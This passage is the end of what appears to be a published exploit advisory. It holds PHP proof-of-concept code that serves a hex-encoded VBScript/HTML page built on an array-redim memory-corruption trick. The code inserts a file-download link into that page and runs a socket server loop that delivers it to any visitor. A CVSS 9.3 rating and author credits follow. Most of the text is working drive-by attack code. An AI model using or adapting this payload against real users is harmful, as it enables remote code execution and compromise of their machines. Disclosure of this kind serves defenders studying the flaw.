    "\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65".
    "\x78\x74\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20".
    "\x61\x61\x28\x61\x32\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29".
    "\x3d\x30\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x61\x64\x64\x2b\x34\x20".
    "\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x31\x2e\x36\x39\x37\x35\x39\x36".
    "\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20".
    "\x20\x20\x72\x75\x6d\x3d\x6c\x65\x6e\x62\x28\x61\x61\x28\x61\x31\x29\x29\x20\x20\x0d\x0a\x20\x20".
    "\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a\x20\x20\x20\x20\x72\x65\x64".
    "\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x65\x6e\x64".
    "\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x0d".
    "\x0a\x20\x0d\x0a\x3c\x2f\x62\x6f\x64\x79\x3e\x0d\x0a\x3c\x2f\x68\x74\x6d\x6c\x3e";
    $msgd=str_replace("FILE_DOWNLOAD",$link,$msgd);

    for (;;) {
        if ($client = @socket_accept($reza)) {
            socket_write($client, "HTTP/1.1 200 OK\r\n" .
                         "Content-length: " . strlen($msgd) . "\r\n" .
                         "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
                         $msgd);
            print "\n Target Checked Your Link \n";
        }
        else usleep(100000);
    }


    ?>


Security Risk:
==============
The security risk of the security vulnerability in the html hta application is estimated as high. (CVSS 9.3)


Credits & Authors:
==================
Author: Mohammad Reza Espargham
Linkedin: https://ir.linkedin.com/in/rezasp
E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
Website: www.reza.es
Twitter: https://twitter.com/rezesp
FaceBook: https://www.facebook.com/mohammadreza.espargham


Disclaimer & Information:
=========================
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